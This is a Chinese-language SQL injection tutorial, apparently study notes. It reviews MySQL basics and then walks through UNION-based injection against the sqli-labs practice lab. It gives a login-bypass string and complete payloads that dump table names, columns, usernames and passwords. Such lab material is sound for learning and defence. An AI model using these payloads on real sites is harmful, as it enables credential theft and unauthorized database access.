SQL注入流程
SQL
SQL是一门ANSI的标准计算机语言,用来访问和操作数据库
数据库软件主要包括SQL server,MySQL,Oracle等
数据库软件兼容一些主要的SQL关键词操作,SQL语言的私有扩展
使用phpstudy自带的数据库命令行(软件:MySQL 服务接口: 端口/本地 用户:root等)
phpstudy自带的数据库,账号密码都是root
还可以使用phpMyAdmin,使用该方法操作具有可视化的效果。
创建数据库:
查看数据库:
切换数据库:
删除数据库:
DROP DATABASE webscurity;
SQL语句对大小写不敏感;分号作为语句的结束,程序中会自动补充。
创建数据表:
查看数据表:
插入数据表:
oreder by 句子:
select 你要的信息 from 数据表 oreder by 字段 ASC/DESC
当order by 后的数字大于当前列数(字段数)时会报错。
LIMIT5; 5代表限制条数。
LIMIT0,5; 0代表偏移量,5代表限制条数。
union句子:
select 你要的信息 from 数据表1 union select 你要的信息 from 数据表2
常见的内置环境:
database():打印当前的数据库名称(select database()😉
current_user:打印当前的用户(select current_user;)
load_file():返回一个文件内容(select load_file(‘文件路径’)😉
version():数据库版本
into + outfile:写入文件
连接数据库:mysql -u root -p
注释符:1.# 2.——+ ——空格 3./* */
当前数据库:SELECT database();
把数据库中的某列数据或某几列数据合并:group_concat()
数据库路径:SELECT @@datadir;
information_schema:MYSQL5.0以上的版本自带information_schema这个数据库,5.0以下是没有的。
SQL注入
SQL注入原理
当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
把用户输入的数据当作代码来执行,违背了“数据与代码分离的原则”。
SQL注入的两个关键点
1.用户能够控制输入的内容
2.web应用把用户输入的内容带入到数据库中执行
SQL注入的危害
-
盗取网站的敏感信息
-
绕过网站后台认证
SELECT * FROM admin WHERE username=‘user’ and password=‘pass’
SELECT * FROM admin WHERE username=’ ‘or ‘1’ = ‘1’ #’ and password=‘pass’
'or ‘1’ = ‘1’ #
and
1 and 1 1
1 and 0 0
0 and 1 0
0 and 0 0or
1 or 1 1
1 or 0 1
0 or 1 1
0 or 0 0!
!T F -
借助SQL注入漏洞提取获取系统权限
-
读取文件信息
SQL注入的流程
1.寻找注入点
2.判断闭合方式
?id=1asdf
有报错:数字型,无闭合或)闭合
无报错:字符型,再判断闭合方式,‘ “ ’)| ”)
?id=1asdf’
查看报错信息,这里的闭合方式为‘)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1
3.验证漏洞
?id=1and 1 --+ 正常显示
?id=1 and 0 --+ 无显示
4.判断列数及回显位
?id=1’) order by 4–+
?id=1’) order by 3–+
说明列数为3列
?id= -1’) union select 1,2,3 --+
说明回显位为2,3
5.取数据
取数据库名:
?id=-1) union select 1,database(),3–+
取表名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),version()–+
查users
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),version()–+
查username
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,(select group_concat(username) from users),version()–+
查密码
http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1, group_concat(username),group_concat(password) from users–+